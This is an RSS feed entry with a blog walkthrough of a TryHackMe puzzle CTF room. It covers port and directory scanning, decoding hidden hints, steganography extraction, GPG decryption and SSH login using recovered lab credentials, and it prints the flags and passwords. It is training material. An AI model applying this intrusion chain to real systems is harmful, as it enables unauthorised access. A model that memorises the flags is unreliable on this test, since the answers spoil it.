<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[CyberWithSharon]]></title><description><![CDATA[CyberWithSharon]]></description><link>https://www.sharonjebitok.com</link><generator>RSS for Node</generator><lastBuildDate>Wed, 08 Apr 2026 01:37:04 GMT</lastBuildDate><atom:link href="https://www.sharonjebitok.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Biohazard (CTF Challenge - THM)]]></title><description><![CDATA[Introduction
Welcome to Biohazard room, a puzzle-style CTF. Collecting the item, solving the puzzle and escaping the nightmare is your top priority. Can you survive until the end?
If you have any ques]]></description><link>https://www.sharonjebitok.com/biohazard-ctf-challenge-thm</link><guid isPermaLink="true">https://www.sharonjebitok.com/biohazard-ctf-challenge-thm</guid><category><![CDATA[Cryptography]]></category><category><![CDATA[websecurity]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[CTF]]></category><category><![CDATA[reconnaissance ]]></category><dc:creator><![CDATA[Jebitok]]></dc:creator><pubDate>Thu, 02 Apr 2026 09:53:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/b3e4f20f-fee0-4e3f-b83b-07fd7c5a39a0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Introduction</h2>
<p>Welcome to Biohazard room, a puzzle-style CTF. Collecting the item, solving the puzzle and escaping the nightmare is your top priority. Can you survive until the end?</p>
<p>If you have any question, do not hesitate to DM me on the discord channel.</p>
<h2>Answer the questions below</h2>
<h3>How many open ports?</h3>
<pre><code class="language-plaintext">nmap -p- -sV IP_Address

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
</code></pre>
<p>The next step is continuing with the enumeration and recon process to help us understand the site more and find as much information as possible</p>
<pre><code class="language-plaintext">gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt

===============================================================
/.hta.php             (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.hta.txt             (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/attic                (Status: 301) [Size: 316] [--&gt; http://IP_Address/attic/]
/css                  (Status: 301) [Size: 314] [--&gt; http://IP_Address/css/]
/images               (Status: 301) [Size: 317] [--&gt; http://IP_Address/images/]
/index.html           (Status: 200) [Size: 692]
/index.html           (Status: 200) [Size: 692]
/js                   (Status: 301) [Size: 313] [--&gt; http://IP_Address/js/]
/server-status        (Status: 403) [Size: 279]
</code></pre>
<p>checked on the folders and noticed that it was just files showing up, meaning we stood better chances checking the site itself of running <code>curl</code> commands of the specific URLs</p>
<pre><code class="language-plaintext">gobuster dir -u http://IP_Address/attic -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.hta.txt             (Status: 403) [Size: 279]
/.hta.html            (Status: 403) [Size: 279]
/.hta.php             (Status: 403) [Size: 279]
/.htpasswd.php        (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/.htaccess.txt        (Status: 403) [Size: 279]
/.htaccess.html       (Status: 403) [Size: 279]
/.htaccess.php        (Status: 403) [Size: 279]
/.htpasswd.txt        (Status: 403) [Size: 279]
/.htpasswd.html       (Status: 403) [Size: 279]
/index.php            (Status: 200) [Size: 592]
/index.php            (Status: 200) [Size: 592]
</code></pre>
<h3>What is the team name in operation</h3>
<p>we now have the team name: <code>STARS alpha team</code></p>
<pre><code class="language-plaintext">curl http://IP_Address
&lt;!doctype html&gt;
	&lt;head&gt;
		&lt;title&gt;Beginning of the end&lt;/title&gt;
		&lt;h1 align="center"&gt;The nightmare begin&lt;/h1&gt;
	&lt;/head&gt;

	&lt;body&gt;
	&lt;img alt="mansion_front" src="images/Mansion_front.jpg" style="display: block;margin-left: auto;margin-right: auto; width: 50%;"/&gt;
	
	&lt;p&gt;July 1998, Evening&lt;/p&gt;
	&lt;p&gt;The STARS alpha team, Chris, Jill, Barry, Weasker and Joseph is in the operation on searching the STARS bravo team in the nortwest of Racoon city.&lt;/p&gt;
	&lt;p&gt;Unfortunately, the team was attacked by a horde of infected zombie dog. Sadly, Joseph was eaten alive.&lt;/p&gt;
	&lt;p&gt;The team decided to run for the nearby &lt;a href="/mansionmain"&gt; mansion &lt;/a&gt; and the nightmare begin..........&lt;/p&gt;   
	&lt;/body&gt;

&lt;/html&gt;
</code></pre>
<h1>The Mansion</h1>
<p>Collect all necessary items and advanced to the next level. The format of the Item flag:</p>
<p>Item_name{32 character}</p>
<p>Some of the doors are locked. Use the item flag to unlock the door.</p>
<p>Tips: It is better to record down all the information inside a notepad</p>
<h2>Answer the questions below</h2>
<h3>What is the emblem flag</h3>
<p>Just from the above, we can see there's a path <code>/mansionmain</code>. Our next check: <code>http://IP_Address/mansionmain/</code></p>
<pre><code class="language-plaintext">curl http://IP_Address/mansionmain/
&lt;!doctype html&gt;
        &lt;head&gt;
                &lt;title&gt;Main hall&lt;/title&gt;
                &lt;h1 align="center"&gt;Main hall&lt;/h1&gt;
        &lt;/head&gt;

        &lt;body&gt;
        &lt;img alt="mainhall" src="../images/Mainhall12.jpg" style="display: block;margin-left: auto;margin-right: auto; width: 50%;"/&gt;

        &lt;p&gt;The team reach the mansion safe and sound. However, it appear that Chris is missing&lt;/p&gt;
	&lt;p&gt;Jill try to open the door but stopped by Weasker&lt;/p&gt;
        &lt;p&gt;Suddenly, a gunshot can be heard in the nearby room. Weaker order Jill to make an investigate on the gunshot. Where is the room?&lt;/p&gt;
	&lt;!-- It is in the /diningRoom/ --&gt;
        &lt;/body&gt;

&lt;/html&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/8830a578-807e-454a-b4be-b98be2e16370.png" alt="" style="display:block;margin:0 auto" />

<ul>
<li><p>next we have a new path <code>/diningRoom/</code>: <code>http://IP_Address/diningRoom</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/39698dac-8584-4b55-8abc-7dc0dd21dd2a.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<pre><code class="language-plaintext">curl http://IP_Address/diningRoom/
&lt;html&gt;
        &lt;head&gt;
                &lt;title&gt;Dining room&lt;/title&gt;
                &lt;h1 align="center"&gt;Dining room&lt;/h1&gt;
        &lt;/head&gt;

        &lt;body&gt;
        	&lt;img alt="diningroom" src="../images/maxresdefault.jpg" style="display: block;margin-left: auto;margin-right: auto; width: 50%;"/&gt;

        	&lt;p&gt;After reaching the room, Jill and Barry started their investigation&lt;/p&gt;
		&lt;p&gt;Blood stein can be found near the fireplace. Hope it is not belong to Chris.&lt;/p&gt;
		&lt;p&gt;After a short investigation with barry, Jill can't find any empty shell. Maybe another room?&lt;/p&gt;
		&lt;!-- SG93IGFib3V0IHRoZSAvdGVhUm9vbS8= --&gt;
        &lt;/body&gt;

			&lt;p&gt;&lt;b&gt;There is an emblem on the wall, will you take it?   &lt;/b&gt;&lt;a href="emblem.php"&gt;YES&lt;/a&gt;&lt;/p&gt; 
	
&lt;/html&gt;
</code></pre>
<p>Clicking YES on the page gives us the emblem flag</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/b47898e5-558c-4279-88da-e2954ab68db5.png" alt="" style="display:block;margin:0 auto" />

<p>Decoded: SG93IGFib3V0IHRoZSAvdGVhUm9vbS8= using <a href="https://base64decode.org/">base64decode</a></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/a5275590-5404-40e1-b129-c8891cae3356.png" alt="" style="display:block;margin:0 auto" />

<h3>What is the lock pick flag</h3>
<p>next we navigate to <code>/teaRoom/</code>: <code>http://IP_Address/teaRoom/</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/1914ef0a-b76d-4a97-a747-e431e4615377.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/cc56c1d1-0cab-4092-b83e-e44a1772a737.png" alt="" style="display:block;margin:0 auto" />

<h3>What is the music sheet flag</h3>
<p>We find the flag, but also introduced to anew path <code>/artRoom/</code>: <code>http://IP_Address/artRoom/</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/76847f62-fec0-4634-8653-bc6ebd536b14.png" alt="" style="display:block;margin:0 auto" />

<p>Then next clicking on <code>YES</code> (<code>http://IP_Address/artRoom/MansionMap.html</code>) and this reveals a number of paths, some of which we haven't come across so far, but will be handy in finding more flags and answering the next set of questions.</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/a288a74b-fcda-4a9e-a341-5636f3689c07.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">Look like a map

Location:
/diningRoom/
/teaRoom/
/artRoom/
/barRoom/
/diningRoom2F/
/tigerStatusRoom/
/galleryRoom/
/studyRoom/
/armorRoom/
/attic/
</code></pre>
<pre><code class="language-plaintext">curl http://IP_Address/barRoom/
&lt;html&gt;
        &lt;head&gt;
                &lt;title&gt;Bar room entrance&lt;/title&gt;
                &lt;h1 align="center"&gt;Bar room entrance&lt;/h1&gt;
        &lt;/head&gt;

        &lt;body&gt;
        &lt;img alt="door" src="../images/16-Image33-1.jpg" style="display: block;margin-left: auto;margin-right: auto; width: 50%;"/&gt;

        &lt;p&gt;Look like the door has been locked&lt;/p&gt;
	&lt;p&gt;It can be open by a &lt;b&gt;lockpick&lt;/b&gt; &lt;/p&gt;
	&lt;form action=unlock_door.php method="POST"&gt;
		&lt;input type="text" col="100" name="door_flag" placeholder="Enter flag"/&gt;
		&lt;input type="submit" value="submit"/&gt;
	&lt;/form&gt;
        &lt;/body&gt;

&lt;/html&gt;
</code></pre>
<pre><code class="language-plaintext">curl http://IP_Address/barRoom357162e3db904857963e6e0b64b96ba7/
&lt;html&gt;
        &lt;head&gt;
                &lt;title&gt;Bar room&lt;/title&gt;
                &lt;h1 align="center"&gt;Bar room&lt;/h1&gt;
        &lt;/head&gt;

        &lt;body&gt;
        &lt;img alt="Bar room" src="../images/maxresdefault.jpg.1" style="display: block;margin-left: auto;margin-right: auto; width: 50%;"/&gt;

        &lt;p&gt;what a messy bar room&lt;/p&gt;
	&lt;p&gt;A piano can be found in the bar room&lt;/p&gt;
	&lt;p&gt;&lt;b&gt;Play the piano?&lt;/b&gt;&lt;/p&gt;
	&lt;form action="piano.php" method="POST"&gt;
		&lt;input type="text" col="100" name="piano" placeholder="Enter flag"/&gt;
		&lt;input type="submit" value="submit"/&gt;
	&lt;/form&gt;
	&lt;p&gt;&lt;b&gt;Also, you found a note that written as "moonlight somata", read it?&lt;/b&gt; &lt;a href="musicNote.html"&gt;READ&lt;/a&gt;&lt;/p&gt; 
        &lt;/body&gt;

&lt;/html&gt;
</code></pre>
<p><code>http://IP_Address/barRoom357162e3db904857963e6e0b64b96ba7/</code></p>
<pre><code class="language-plaintext">Look like a music note NV2XG2LDL5ZWQZLFOR5TGNRSMQ3TEZDFMFTDMNLGGVRGIYZWGNSGCZLDMU3GCMLGGY3TMZL5
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/50a23bdb-e4c0-4957-beda-27a4b69033d8.png" alt="" style="display:block;margin:0 auto" />

<h3>What is the gold emblem flag</h3>
<pre><code class="language-plaintext">curl http://IP_Address/barRoom/
&lt;html&gt;
        &lt;head&gt;
                &lt;title&gt;Bar room entrance&lt;/title&gt;
                &lt;h1 align="center"&gt;Bar room entrance&lt;/h1&gt;
        &lt;/head&gt;

        &lt;body&gt;
        &lt;img alt="door" src="../images/16-Image33-1.jpg" style="display: block;margin-left: auto;margin-right: auto; width: 50%;"/&gt;

        &lt;p&gt;Look like the door has been locked&lt;/p&gt;
	&lt;p&gt;It can be open by a &lt;b&gt;lockpick&lt;/b&gt; &lt;/p&gt;
	&lt;form action=unlock_door.php method="POST"&gt;
		&lt;input type="text" col="100" name="door_flag" placeholder="Enter flag"/&gt;
		&lt;input type="submit" value="submit"/&gt;
	&lt;/form&gt;
        &lt;/body&gt;

&lt;/html&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/3f522589-211f-4a3e-8840-0b073a4ee73f.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">curl http://IP_Address/barRoom357162e3db904857963e6e0b64b96ba7/barRoomHidden.php
&lt;html&gt;
        &lt;head&gt;
                &lt;title&gt;Secret bar room&lt;/title&gt;
                &lt;h1 align="center"&gt;Secret bar room&lt;/h1&gt;
        &lt;/head&gt;

        &lt;body&gt;
        &lt;img alt="gold emblem" src="../images/gee.png" style="display: block;margin-left: auto;margin-right: auto; width: 50%;"/&gt;

	There is an emblem slot on the wall, put the emblem?			&lt;form action="emblem_slot.php" method="POST"&gt;
			&lt;input type="text" name="emblem_slot" col="100" placeholder="Input flag"&gt;&lt;br&gt;
			&lt;input type="submit" value="submit"&gt;
			&lt;/form&gt;
	        &lt;/body&gt;

&lt;/html&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/d5adf2dc-7736-4737-8256-1ad9972a0bac.png" alt="" style="display:block;margin:0 auto" />

<h3>What is the blue gem flag</h3>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/1af052c6-75dc-4281-8409-32f79d654ac0.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-plaintext">You get the blue gem by pushing the status to the lower floor. The gem is on the diningRoom first floor. Visit sapphire.html
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/7e9ae2ce-ebf4-4736-83aa-7d4d2983add5.png" alt="" style="display:block;margin:0 auto" />

<p>Next is to navigate to sapphire.html from the same path in order to find the blue jewel flag</p>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/0a8d42a7-0373-48e6-b055-a1a03bd4d7de.png" alt="" style="display:block;margin:0 auto" />

<h2>The guard house</h2>
<p>After gaining access to the FTP server, you need to solve another puzzle.</p>
<h2>Answer the questions below</h2>
<h3>Where is the hidden directory mentioned by Barry</h3>
<pre><code class="language-plaintext">ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 1002     1002         4096 Sep 20  2019 .
drwxrwxrwx    2 1002     1002         4096 Sep 20  2019 ..
-rw-r--r--    1 0        0            7994 Sep 19  2019 001-key.jpg
-rw-r--r--    1 0        0            2210 Sep 19  2019 002-key.jpg
-rw-r--r--    1 0        0            2146 Sep 19  2019 003-key.jpg
-rw-r--r--    1 0        0             121 Sep 19  2019 helmet_key.txt.gpg
-rw-r--r--    1 0        0             170 Sep 20  2019 important.txt
226 Directory send OK.
ftp&gt; get 001-key.jpg
local: 001-key.jpg remote: 001-key.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 001-key.jpg (7994 bytes).
226 Transfer complete.
7994 bytes received in 0.00 secs (19.6486 MB/s)
ftp&gt; 002-key.jpg
?Invalid command
ftp&gt; get 002-key.jpg
local: 002-key.jpg remote: 002-key.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 002-key.jpg (2210 bytes).
226 Transfer complete.
2210 bytes received in 0.00 secs (4.2925 MB/s)
ftp&gt; get 003-key.jpg
local: 003-key.jpg remote: 003-key.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for 003-key.jpg (2146 bytes).
226 Transfer complete.
2146 bytes received in 0.00 secs (3.6743 MB/s)
ftp&gt; get helmet_key.txt.gpg
local: helmet_key.txt.gpg remote: helmet_key.txt.gpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for helmet_key.txt.gpg (121 bytes).
226 Transfer complete.
121 bytes received in 0.00 secs (237.7547 kB/s)
ftp&gt; get important.txt
local: important.txt remote: important.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for important.txt (170 bytes).
226 Transfer complete.
170 bytes received in 0.00 secs (436.8832 kB/s)
ftp&gt; exit
</code></pre>
<ul>
<li>We have the hidden directory</li>
</ul>
<pre><code class="language-plaintext">cat important.txt
Jill,

I think the helmet key is inside the text file, but I have no clue on decrypting stuff. Also, I come across a /hidden_closet/ door but it was locked.

From,
Barry
</code></pre>
<p>###Password for the encrypted file</p>
<pre><code class="language-plaintext">strings 001-key.jpg
JFIF
					
"*%%*424DD\
					
"*%%*424DD\
$3br
%&amp;'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
	#3R
&amp;'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
*Pr+6
)XG0
QPOu
^j2]
~Rpx
f$n[
3s3uc]D`A
*H=E%ij
J8t8"
Ro9	
Bri(
rqZ`
e=FM
77*{)
70_SL
vg[[fb@8
1c1DD
Pj*@
RsZ:
`:Wk@
FUu*
.!GF
%FO=jJ
G#kvaX7VsZ
nBx"
 xfN
SUu-
|&lt;V{P
08*r
QM9b#P
&amp;?QVRB:V,d
"&gt;?x
Zz? &gt;}
o}m$2
Vm.^
OSLf
dnG?
mZ[@
i\lc
iyua:\
Vp&gt;`}Z
&lt;',kgp^
RWIu
z+DG+M
k)V*
*I&amp;#
,v`/l
.\c~&gt;n
APQE
w)yau$
'&gt;Y?2
5KSMl
?gI6
Eq5f
0Q\D
Mm#E&lt;M
X.,u8
:v	x
&gt;vgvw9f$
4=.]N
B^/C
E,S(h
AaS,
b]7&amp;N
)qcs
b[yVD# 
[yqsv
&lt;),Q
zM&lt;@
!d?l
_Di&gt;"
!|zU
O+fI
root@ip-10-128-117-253:~# strings 002-key.jpg
JFIF
5fYmVfZGVzdHJveV9
					
"*%%*424DD\
					
"*%%*424DD\
5Zs5
az8C
C%(KH\
ftkI
B}-*J
'ttT
uJ@2
!1Aaq
"2Q 0#Bbr
l)YWH]E
}VR7
p*qJ
v4NM
U!.#
! "AQ
#2Raq
?1&gt;o
I^(h
+M_M
Z6"=
,hfb
Yx$k3
12Ra
</code></pre>
<pre><code class="language-plaintext">strings 003-key.jpg
JFIF
Compressed by jpeg-recompress
					
"*%%*424DD\
					
"*%%*424DD\
"aq#0Rb
 2BCS
g#~D
2wb=
,g)A
'%fM
,rS5W
5.s	z3
mm5gs
f__"
v#X?j
`2I#2
i`nxedoU;
ds9\
ZuE@
$AdR?/
hL*W
w;rY
~`z0
rK$`
f=WmpNF
wBH=
key-003.txtUT
key-003.txtUT
</code></pre>
<pre><code class="language-plaintext">unzip 003-key.jpg
Archive:  003-key.jpg
warning [003-key.jpg]:  1930 extra bytes at beginning or within zipfile
  (attempting to process anyway)
  inflating: key-003.txt             

ls
001-key.jpg  burp.json   Downloads           Instructions  Postman  snap
002-key.jpg  CTFBuilder  helmet_key.txt.gpg  key-003.txt   Rooms    thinclient_drives
003-key.jpg  Desktop     important.txt       Pictures      Scripts  Tools
cat key-003.txt
3aXRoX3Zqb2x0
</code></pre>
<pre><code class="language-plaintext">steghide extract -sf 001-key.jpg -p ""
wrote extracted data to "key-001.txt".

steghide extract -sf 001-key.jpg -p "jill"
steghide: could not extract any data with that passphrase!

steghide extract -sf 001-key.jpg -p "barry"
steghide: could not extract any data with that passphrase!

steghide extract -sf 001-key.jpg -p "chris"
steghide: could not extract any data with that passphrase!

steghide extract -sf 001-key.jpg -p "umbrella"
steghide: could not extract any data with that passphrase!

steghide extract -sf 002-key.jpg -p ""
steghide: could not extract any data with that passphrase!

steghide extract -sf 002-key.jpg -p "jill"
steghide: could not extract any data with that passphrase!

ls
001-key.jpg  burp.json   Downloads           Instructions  Pictures  Scripts            Tools
002-key.jpg  CTFBuilder  helmet_key.txt.gpg  key-001.txt   Postman   snap
003-key.jpg  Desktop     important.txt       key-003.txt   Rooms     thinclient_drives

cat key-001.txt
cGxhbnQ0Ml9jYW
</code></pre>
<ul>
<li><p>Combining the phrases gives us a base64 phrase that allows us to decode to find the password for the encrypted file</p>
</li>
<li><p>001: <code>cGxhbnQ0Ml9jYW</code></p>
</li>
<li><p>002: <code>5fYmVfZGVzdHJveV9</code></p>
</li>
<li><p>003: <code>3aXRoX3Zqb2x0</code></p>
</li>
</ul>
<p><code>cGxhbnQ0Ml9jYW5fYmVfZGVzdHJveV93aXRoX3Zqb2x0</code>: <code>plant42_can_be_destroy_with_vjolt</code></p>
<h3>What is the helmet key flag</h3>
<ul>
<li>Try opening the <code>helmet_key.txt.gpg</code> file, and the password will be required, which is <code>plant42_can_be_destroy_with_vjolt</code>. This will give us a text file that has the helmet key flag.</li>
</ul>
<pre><code>cat helmet_key.txt

helmet_key{458493193501d2b94bbab2e727f8db4b}
</code></pre>
<h1>The Revisit</h1>
<p>Done with the puzzle? There are places you have explored before but yet to access.</p>
<h2>Answer the questions below</h2>
<h3>What is the SSH login username</h3>
<ul>
<li><p>Navigating the <code>/studyRoom</code> requires the <code>helmet_key{458493193501d2b94bbab2e727f8db4b}</code> flag and we're redirected to the next page <code>http://IP_Address/studyRoom28341c5e98c93b89258a6389fd608a3c/</code> where we end up having the <code>doom.tar.gz</code> file downloaded:</p>
</li>
<li><p>doom.tar.gz: has a text file that has the SSH login username</p>
</li>
</ul>
<pre><code>tar -xzvf doom.tar.gz
eagle_medal.txt
root@ip-IP_Address:~# cat eagle_medal.txt
SSH user: umbrella_guest
</code></pre>
<h3>What is the SSH login password</h3>
<ul>
<li>Navigating the <strong>Examine the wold medal?</strong> within <code>http://IP_Address/hiddenCloset8997e740cb7f5cece994381b9477ec38/</code> page shows us the SSH login password</li>
</ul>
<p><code>SSH password: T_virus_rules</code></p>
<h3>Who the STARS bravo team leader</h3>
<ul>
<li>The team leader's name is here:</li>
</ul>
<pre><code>curl http://IP_Address/hiddenCloset8997e740cb7f5cece994381b9477ec38/
&lt;html&gt;
        &lt;head&gt;
                &lt;title&gt;Closet room&lt;/title&gt;
                &lt;h1 align="center"&gt;Closet room&lt;/h1&gt;
        &lt;/head&gt;

        &lt;body&gt;
        &lt;img alt="closet_room" src="../images/maxresdefault.jpg.5" style="display: block;margin-left: auto;margin-right: auto; width: 50%;"/&gt;

        &lt;p&gt;The closet room lead to an underground cave&lt;/p&gt;
	&lt;p&gt;In the cave, Jill met injured Enrico, the leader of the STARS Bravo team. He mentioned there is a traitor among the STARTS Alpha team.&lt;/p&gt;
	&lt;p&gt;When he was about to tell the traitor name, suddenly, a gun shot can be heard and Enrico was shot dead.&lt;/p&gt;
	&lt;p&gt;Jill somehow cannot figure out who did that. Also, Jill found a MO disk 1 and a wolf Medal&lt;/p&gt;
	&lt;p&gt;&lt;b&gt;Read the MO disk 1?&lt;/b&gt;   &lt;a href="MO_DISK1.txt"&gt;READ&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;&lt;b&gt;Examine the wolf medal?&lt;/b&gt;  &lt;a href="wolf_medal.txt"&gt;EXAMINE&lt;/a&gt;&lt;/p&gt; 
        &lt;/body&gt;

&lt;/html&gt;
</code></pre>
<h1>Underground laboratory</h1>
<p>Time for the final showdown. Can you escape the nightmare?</p>
<h2>Answer the questions below</h2>
<h3>Where you found Chris</h3>
<ul>
<li>Since we have the SSH user and password, we can now access it and find the name, and also escalate privileges to find the root flag.</li>
</ul>
<pre><code>ssh umbrella_guest@IP_Address
umbrella_guest@umbrella_corp:~$ ls -la
total 64
drwxr-xr-x  8 umbrella_guest umbrella 4096 Sep 20  2019 .
drwxr-xr-x  5 root           root     4096 Sep 20  2019 ..
-rw-r--r--  1 umbrella_guest umbrella  220 Sep 19  2019 .bash_logout
-rw-r--r--  1 umbrella_guest umbrella 3771 Sep 19  2019 .bashrc
drwxrwxr-x  6 umbrella_guest umbrella 4096 Sep 20  2019 .cache
drwxr-xr-x 11 umbrella_guest umbrella 4096 Sep 19  2019 .config
-rw-r--r--  1 umbrella_guest umbrella   26 Sep 19  2019 .dmrc
drwx------  3 umbrella_guest umbrella 4096 Sep 19  2019 .gnupg
-rw-------  1 umbrella_guest umbrella  346 Sep 19  2019 .ICEauthority
drwxr-xr-x  2 umbrella_guest umbrella 4096 Sep 20  2019 .jailcell
drwxr-xr-x  3 umbrella_guest umbrella 4096 Sep 19  2019 .local
-rw-r--r--  1 umbrella_guest umbrella  807 Sep 19  2019 .profile
drwx------  2 umbrella_guest umbrella 4096 Sep 20  2019 .ssh
-rw-------  1 umbrella_guest umbrella  109 Sep 19  2019 .Xauthority
-rw-------  1 umbrella_guest umbrella 7546 Sep 19  2019 .xsession-errors
umbrella_guest@umbrella_corp:~$ pwd
/home/umbrella_guest
umbrella_guest@umbrella_corp:~$ ls -la .jailcell/
total 12
drwxr-xr-x 2 umbrella_guest umbrella 4096 Sep 20  2019 .
drwxr-xr-x 8 umbrella_guest umbrella 4096 Sep 20  2019 ..
-rw-r--r-- 1 umbrella_guest umbrella  501 Sep 20  2019 chris.txt
umbrella_guest@umbrella_corp:~$ cat .jailcell/*
Jill: Chris, is that you?
Chris: Jill, you finally come. I was locked in the Jail cell for a while. It seem that weasker is behind all this.
Jil, What? Weasker? He is the traitor?
Chris: Yes, Jill. Unfortunately, he play us like a damn fiddle.
Jill: Let's get out of here first, I have contact brad for helicopter support.
Chris: Thanks Jill, here, take this MO Disk 2 with you. It look like the key to decipher something.
Jill: Alright, I will deal with him later.
Chris: see ya.

MO disk 2: albert 
</code></pre>
<h3>Who is the traitor <code>weasker</code></h3>
<p>This will be found alongside the next password </p>
<h3>The login password for the traitor</h3>
<ul>
<li>Navigating to the path we found <code>/hidden_closet/</code>, you'll be required to enter the helmet flag <code>helmet_key{458493193501d2b94bbab2e727f8db4b}</code>. This will navigate you to the page below.</li>
</ul>
<pre><code>curl http://IP_Address/hiddenCloset8997e740cb7f5cece994381b9477ec38/
&lt;html&gt;
        &lt;head&gt;
                &lt;title&gt;Closet room&lt;/title&gt;
                &lt;h1 align="center"&gt;Closet room&lt;/h1&gt;
        &lt;/head&gt;

        &lt;body&gt;
        &lt;img alt="closet_room" src="../images/maxresdefault.jpg.5" style="display: block;margin-left: auto;margin-right: auto; width: 50%;"/&gt;

        &lt;p&gt;The closet room lead to an underground cave&lt;/p&gt;
	&lt;p&gt;In the cave, Jill met injured Enrico, the leader of the STARS Bravo team. He mentioned there is a traitor among the STARTS Alpha team.&lt;/p&gt;
	&lt;p&gt;When he was about to tell the traitor name, suddenly, a gun shot can be heard and Enrico was shot dead.&lt;/p&gt;
	&lt;p&gt;Jill somehow cannot figure out who did that. Also, Jill found a MO disk 1 and a wolf Medal&lt;/p&gt;
	&lt;p&gt;&lt;b&gt;Read the MO disk 1?&lt;/b&gt;   &lt;a href="MO_DISK1.txt"&gt;READ&lt;/a&gt;&lt;/p&gt;
	&lt;p&gt;&lt;b&gt;Examine the wolf medal?&lt;/b&gt;  &lt;a href="wolf_medal.txt"&gt;EXAMINE&lt;/a&gt;&lt;/p&gt; 
        &lt;/body&gt;

&lt;/html&gt;
</code></pre>
<p>If you click the first option of <strong>Read the MO disk 1?</strong> it gives us this phrase which, when decoded it returns the password we're looking for: </p>
<ul>
<li><code>wpbwbxr wpkzg pltwnhro, txrks_xfqsxrd_bvv_fy_rvmexa_ajk: weasker login password, stars_members_are_my_guinea_pig</code></li>
</ul>
<h3>The name of the ultimate form</h3>
<ul>
<li>checking <code>home</code> folder, we find <code>weasker</code> folder that has <code>weasker_note.txt</code> file that has the <strong>Tyrant</strong></li>
</ul>
<pre><code>pwd
/home/umbrella_guest
umbrella_guest@umbrella_corp:~$ cd ../
umbrella_guest@umbrella_corp:/home$ ls -la
total 20
drwxr-xr-x  5 root           root     4096 Sep 20  2019 .
drwxr-xr-x 24 root           root     4096 Sep 18  2019 ..
drwxr-xr-x  4 hunter         hunter   4096 Sep 19  2019 hunter
drwxr-xr-x  8 umbrella_guest umbrella 4096 Sep 20  2019 umbrella_guest
drwxr-xr-x  9 weasker        weasker  4096 Sep 20  2019 weasker
umbrella_guest@umbrella_corp:/home$ cd weasker
umbrella_guest@umbrella_corp:/home/weasker$ ls -la
total 80
drwxr-xr-x  9 weasker weasker 4096 Sep 20  2019 .
drwxr-xr-x  5 root    root    4096 Sep 20  2019 ..
-rw-------  1 weasker weasker   18 Sep 20  2019 .bash_history
-rw-r--r--  1 weasker weasker  220 Sep 18  2019 .bash_logout
-rw-r--r--  1 weasker weasker 3771 Sep 18  2019 .bashrc
drwxrwxr-x 10 weasker weasker 4096 Sep 20  2019 .cache
drwxr-xr-x 11 weasker weasker 4096 Sep 20  2019 .config
drwxr-xr-x  2 weasker weasker 4096 Sep 19  2019 Desktop
drwx------  3 weasker weasker 4096 Sep 19  2019 .gnupg
-rw-------  1 weasker weasker  346 Sep 20  2019 .ICEauthority
drwxr-xr-x  3 weasker weasker 4096 Sep 19  2019 .local
